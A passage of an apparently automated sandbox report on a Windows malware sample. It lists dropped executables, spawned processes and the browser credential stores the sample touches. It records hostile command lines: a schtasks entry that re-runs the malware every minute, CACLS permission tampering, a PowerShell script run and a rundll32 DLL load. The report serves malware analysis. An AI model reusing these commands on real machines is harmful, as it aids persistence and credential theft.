EDGE_VARIATIONS_SEED_ETAG=""vh5lltcM1hlAdduYwAcUQr8dkOpj+R8fs70Gh08x9yY="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325", EDGE_BROWSER_PID="7084"" Process "msedge.exe" (UID: 00000000-00008092) was launched with modified environment variables: "CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00008092) was launched with missing environment variables: "EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH" Process "msedge.exe" (UID: 00000000-00006928) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", EDGE_METRICS_SESSION_ID="21", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_VARIATIONS_SEED_ETAG=""vh5lltcM1hlAdduYwAcUQr8dkOpj+R8fs70Gh08x9yY="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325"" Process "msedge.exe" (UID: 00000000-00006928) was launched with modified environment variables: "CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00000704) was launched with missing environment variables: "CHROME_RESTART, EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH" Process "msedge.exe" (UID: 00000000-00007644) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", EDGE_METRICS_SESSION_ID="21", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_7084_RJRWQMEUEJYPWULH", EDGE_BROWSER_PID="7084", EDGE_VARIATIONS_SEED_ETAG=""vh5lltcM1hlAdduYwAcUQr8dkOpj+R8fs70Gh08x9yY="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325"" Process "msedge.exe" (UID: 00000000-00007812) was launched with modified environment variables: "CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00007812) was launched with missing environment variables: "CHROME_RESTART, EDGE_METRICS_SESSION_ID, EDGE_USER_DATA_DIR, EDGE_VARIATIONS_SEED_ETAG, EDGE_METRICS_CLIENT_ID_HASH" Process "msedge.exe" (UID: 00000000-00003376) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT", EDGE_METRICS_SESSION_ID="21", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_VARIATIONS_SEED_ETAG=""vh5lltcM1hlAdduYwAcUQr8dkOpj+R8fs70Gh08x9yY="", EDGE_METRICS_CLIENT_ID_HASH="-5887840577531352325"" Process "msedge.exe" (UID: 00000000-00003376) was launched with modified environment variables: "CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID"54:T6ac,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "pu4QC49.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "pu4QC49.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "pu4QC49.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "XJ8DL15.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "XJ8DL15.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "XJ8DL15.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "UG5dl07.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "UG5dl07.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "UG5dl07.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Sj8xo42.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "Sj8xo42.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Sj8xo42.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1TB52Ye1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US")55:T1010,Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",13,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: AppLaunch.exe.log] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00000768-00000C25-52195191] Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00000768-00000C25-52349418] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00000768-00000BC1-52379349] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00002300-00000BC1-52993644] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00006800-00000BC1-53668339] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"" [Source: 00000000-00007836-00000BC1-54469018] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"" [Source: 00000000-00007752-00000BC1-55107887] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00007404-00000C25-57370981] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00007404-00000C25-58361203] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00007404-00000C25-58589031] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007404-00000C25-58778099] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00007404-00000C25-59036929] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00007404-00000C25-59174961] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007404-00000C25-59399255] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00007404-00000C25-59642143] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00007404-00000C25-59765962] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00007404-00000C25-60316671] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" [Source: 00000000-00007032-00000C25-73697428] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" [Source: 00000000-00007032-00000C25-74173946] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00007032-00000C25-74391005] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00007032-00000C25-74445576] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00007032-00000C25-74630144] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00007032-00000C25-74999026] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll" [Source: 00000000-00007032-00000C25-75647928]56:T78b,Spawned process "pu4QC49.exe" (UID: 00000000-00002300) Spawned process "XJ8DL15.exe" (UID: 00000000-00006800) Spawned process "UG5dl07.exe" (UID: 00000000-00007836) Spawned process "Sj8xo42.exe" (UID: 00000000-00007752) Spawned process "1TB52Ye1.exe" (UID: 00000000-00000584) Spawned process "AppLaunch.exe" (UID: 00000000-00007404) Spawned process "2va9153.exe" (UID: 00000000-00000608) Spawned process "3CP67Xw.exe" (UID: 00000000-00001648) Spawned process "AppLaunch.exe" (UID: 00000000-00001864) Spawned process "4Kb287am.exe" (UID: 00000000-00006432) Spawned process "AppLaunch.exe" (UID: 00000000-00000424) Spawned process "AppLaunch.exe" (UID: 00000000-00004792) Spawned process "AppLaunch.exe" (UID: 00000000-00007032) Spawned process "5cM9dm9.exe" (UID: 00000000-00001224) Spawned process "explothe.exe" (UID: 00000000-00006736) Spawned process "6aw7Xx2.exe" (UID: 00000000-00003652) Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 1 /TN explothe.exe /TR "%TEMP%\\fefffe8ce ..." (UID: 00000000-00006384), Spawned process "cmd.exe" with commandline "/k echo Y|CACLS "explothe.exe" /P "1EOUK0b:N"&&CACLS "explothe.e ..." (UID: 00000000-00003528) Spawned process "cmd.exe" with commandline "/c "%TEMP%\\7486.tmp\\7496.tmp\\7497.bat %TEMP%\\IXP000.TMP\\6aw ..." (UID: 00000000-00006420), Spawned process "powershell.exe" with commandline "-executionpolicy remotesigned -File "%TEMP%\\1000058041\\2.ps1"" (UID: 00000000-00002612), Spawned process "rundll32.exe" with commandline "%APPDATA%\\006700e5a2ab05\\clip64.dll Main" (UID: 00000000-00002064), Spawned process "explothe.exe" (UID: 00000000-00004144), Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /S /D /c" echo Y"" (UID: 00000000-00007804), Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "1EOUK0b:N"" (UID: 00000000-00006076), Spawned process "tus.exe" (UID: 00000000-00006604)57:T78b,Spawned process "pu4QC49.exe" (UID: 00000000-00002300) Spawned process "XJ8DL15.exe" (UID: 00000000-00006800) Spawned process "UG5dl07.exe" (UID: 00000000-00007836) Spawned process "Sj8xo42.exe" (UID: 00000000-00007752) Spawned process "1TB52Ye1.exe" (UID: 00000000-00000584) Spawned process "AppLaunch.exe" (UID: 00000000-00007404) Spawned process "2va9153.exe" (UID: 00000000-00000608) Spawned process "3CP67Xw.exe" (UID: 00000000-00001648) Spawned process "AppLaunch.exe" (UID: 00000000-00001864) Spawned process "4Kb287am.exe" (UID: 00000000-00006432) Spawned process "AppLaunch.exe" (UID: 00000000-00000424) Spawned process "AppLaunch.exe" (UID: 00000000-00004792) Spawned process "AppLaunch.exe" (UID: 00000000-00007032) Spawned process "5cM9dm9.exe" (UID: 00000000-00001224) Spawned process "explothe.exe" (UID: 00000000-00006736) Spawned process "6aw7Xx2.exe" (UID: 00000000-00003652) Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 1 /TN explothe.exe /TR "%TEMP%\\fefffe8ce ..." (UID: 00000000-00006384), Spawned process "cmd.exe" with commandline "/k echo Y|CACLS "explothe.exe" /P "1EOUK0b:N"&&CACLS "explothe.e ..." (UID: 00000000-00003528) Spawned process "cmd.exe" with commandline "/c "%TEMP%\\7486.tmp\\7496.tmp\\7497.bat %TEMP%\\IXP000.TMP\\6aw ..." (UID: 00000000-00006420), Spawned process "powershell.exe" with commandline "-executionpolicy remotesigned -File "%TEMP%\\1000058041\\2.ps1"" (UID: 00000000-00002612), Spawned process "rundll32.exe" with commandline "%APPDATA%\\006700e5a2ab05\\clip64.dll Main" (UID: 00000000-00002064), Spawned process "explothe.exe" (UID: 00000000-00004144), Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /S /D /c" echo Y"" (UID: 00000000-00007804), Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "1EOUK0b:N"" (UID: 00000000-00006076), Spawned process "tus.exe" (UID: 00000000-00006604)58:T7d7,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "foto1661_1_.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "pu4QC49.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "PH1iJ6gO.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "XJ8DL15.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "TW9GU8TZ.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "4Bu185jX.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "1RI95Jv4.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "salo.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "4Kb287am.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "tus_1_.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "3CP67Xw.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "1TB52Ye1.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "UG5dl07.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "yG0Wt0do.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "ZP7Gz0iG.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "Sj8xo42.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "5sU52oo.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "2YP522uh.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "5cM9dm9.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "3kc5oj81.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "2va9153.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "6MH49fE.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "clip64.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "6aw7Xx2.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE59:T43f,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")5a:T341a,"foto1661_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "pu4QC49.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\pu4QC49.exe]- [targetUID: 00000000-00000768] "PH1iJ6gO.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\PH1iJ6gO.exe]- [targetUID: 00000000-00005868] "XJ8DL15.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\XJ8DL15.exe]- [targetUID: 00000000-00006800] "TW9GU8TZ.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\TW9GU8TZ.exe]- [targetUID: 00000000-00004132] "4Bu185jX.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\4Bu185jX.exe]- [targetUID: 00000000-00007364] "1RI95Jv4.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP007.TMP\1RI95Jv4.exe]- [targetUID: 00000000-00008156] "salo.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\1000061051\salo.exe]- [targetUID: 00000000-00006736] "4Kb287am.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\4Kb287am.exe]- [targetUID: 00000000-00006800] "urlref_httpswww.youtube.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "tus_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "3CP67Xw.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\3CP67Xw.exe]- [targetUID: 00000000-00007836] "1TB52Ye1.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\1TB52Ye1.exe]- [targetUID: 00000000-00000584] "UG5dl07.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\UG5dl07.exe]- [targetUID: 00000000-00007836] "yG0Wt0do.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\yG0Wt0do.exe]- [targetUID: 00000000-00007364] "urlref_httpsaccounts.google.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "ZP7Gz0iG.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP006.TMP\ZP7Gz0iG.exe]- [targetUID: 00000000-00008156] "Sj8xo42.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\Sj8xo42.exe]- [targetUID: 00000000-00007836] "5sU52oo.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\5sU52oo.exe]- [targetUID: 00000000-00004132] "2YP522uh.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "5cM9dm9.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\5cM9dm9.exe]- [targetUID: 00000000-00001224] "3kc5oj81.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "2va9153.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\2va9153.exe]- [targetUID: 00000000-00000608] "6MH49fE.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- [targetUID: N/A] "clip64.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%APPDATA%\006700e5a2ab05\clip64.dll]- [targetUID: 00000000-00006736] "6aw7Xx2.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed"- Location: [%TEMP%\IXP000.TMP\6aw7Xx2.exe]- [targetUID: 00000000-00000768] "powershell.exe.log" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "cred64.dll" has type "HTML document ASCII text"- Location: [%APPDATA%\006700e5a2ab05\cred64.dll]- [targetUID: 00000000-00006736] "AppLaunch.exe.log" has type "CSV text"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log]- [targetUID: 00000000-00007032] "2_1_.ps1" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "7497.bat" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\7486.tmp\7496.tmp\7497.bat]- [targetUID: 00000000-00006420] "data_3" has type "data"- [targetUID: N/A] "data_2" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_2]- [targetUID: 00000000-00006928] "data_1" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_1]- [targetUID: 00000000-00006928] "000009.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000009.log]- [targetUID: 00000000-00007084] "000013.ldb" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000013.ldb]- [targetUID: 00000000-00007084] "000014.ldb" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000014.ldb]- [targetUID: 00000000-00007084] "000003.log" has type "data"- [targetUID: 00000000-00007084] "load_statistics.db-wal" has type "SQLite Write-Ahead Log version 3007000"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\load_statistics.db-wal]- [targetUID: 00000000-00007084] "index" has type "FoxPro FPT blocks size 768 next free block index 3284796353 field type 0 dBase III DBT version number 0 next free block index 3238251203"- [targetUID: 00000000-00007084] "History" has type "SQLite 3.x database last written using SQLite version 3039003"- [targetUID: 00000000-00000608] "Web Data" has type "SQLite 3.x database last written using SQLite version 3039003"- [targetUID: N/A] "Visited Links" has type "data"- [targetUID: N/A] "data_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_0]- [targetUID: 00000000-00006928] "Tabs_13343366941190731" has type "data"- [targetUID: N/A] "f_0004c3" has type "gzip compressed data original size modulo 2^32 214239"- [targetUID: N/A] "1bbe3fb3-28ea-4f65-b330-87f90859b8b7.tmp" has type "UTF-8 Unicode text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\1bbe3fb3-28ea-4f65-b330-87f90859b8b7.tmp]- [targetUID: 00000000-00007084] "02dda6d6-158c-4bea-af91-78476b62859a.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\02dda6d6-158c-4bea-af91-78476b62859a.tmp]- [targetUID: 00000000-00007084] "fff2a07b-9d6f-4d46-ba63-1c21bb07c3dc.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "urlref_httpswww.facebook.comlogin" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "ModuleAnalysisCache" has type "data"- [targetUID: N/A] "sslkey.txt" has type "ASCII text"- Location: [%TEMP%\sslkey.txt]- [targetUID: 00000000-00006928] "Cookies" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies]- [targetUID: 00000000-00006928] "Favicons" has type "SQLite 3.x database last written using SQLite version 3039003"- [targetUID: N/A] "Reporting and NEL" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Reporting and NEL]- [targetUID: 00000000-00006928] "f_0004c4" has type "gzip compressed data original size modulo 2^32 112739"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0004c4]- [targetUID: 00000000-00006928] "Vpn Tokens" has type "SQLite 3.x database last written using SQLite version 3039003"- [targetUID: N/A] "0381100c-b251-418b-acf7-7a9c6871c905.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "85f926b1-03fd-4da3-a069-2b5094a34743.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\85f926b1-03fd-4da3-a069-2b5094a34743.tmp]- [targetUID: 00000000-00007084] "e1512b58-be22-4a74-9fbf-fd28ed122f50.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\e1512b58-be22-4a74-9fbf-fd28ed122f50.tmp]- [targetUID: 00000000-00007084] "3d201ea0-996c-4d32-804a-f28733db134e.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "96699446-0d22-45d5-a08c-123f97b255a1.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\96699446-0d22-45d5-a08c-123f97b255a1.tmp]- [targetUID: 00000000-00007084] "cb839a43-776c-4fe5-a7b2-4c2ea3c50a11.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "arbitration_service_config.json" has type "ASCII text with very long lines with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\arbitration_service_config.json]- [targetUID: 00000000-00007084] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00002612] "temp-index" has type "data"- [targetUID: N/A] "data_2" has type "dBase III DBT version number 0 next free block index 3238316739"- [targetUID: 00000000-00006928] "data_3" has type "dBase III DBT version number 0 next free block index 3238316739"- [targetUID: N/A] "data_0" has type "FoxPro FPT blocks size 512 next free block index 3284796609 field type 0 dBase III DBT version number 0 next free block index 3238316739"- [targetUID: 00000000-00006928] "data_1" has type "dBase III DBT version number 0 next free block index 3238316739"- [targetUID: 00000000-00006928] "000004.log" has type "data"- [targetUID: N/A] "af6004a7-ca6e-4d4a-999d-696aabd8c20b.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\af6004a7-ca6e-4d4a-999d-696aabd8c20b.tmp]- [targetUID: 00000000-00006928] "Session_13343366571136279" has type "data"- [targetUID: N/A] "24044bb2-02c4-4644-94c1-332b9e6cf502.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\24044bb2-02c4-4644-94c1-332b9e6cf502.tmp]- [targetUID: 00000000-00006928] "d020a653-0832-4e31-b0f6-4edc7a4288ef.tmp" has type "gzip compressed data from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 12260"- Location: [%TEMP%\d020a653-0832-4e31-b0f6-4edc7a4288ef.tmp]- [targetUID: 00000000-00006712] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG]- [targetUID: 00000000-00007084] "LOG" has type "ASCII text"- [targetUID: 00000000-00007084] "MANIFEST-000001" has type "PGP Secret Key -"- [targetUID: 00000000-00007084] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG]- [targetUID: 00000000-00007084] "5e18be2ef9be2a55_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\5e18be2ef9be2a55_0]- [targetUID: 00000000-00007084] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extension Scripts\LOG]- [targetUID: 00000000-00007084] "settings.dat" has 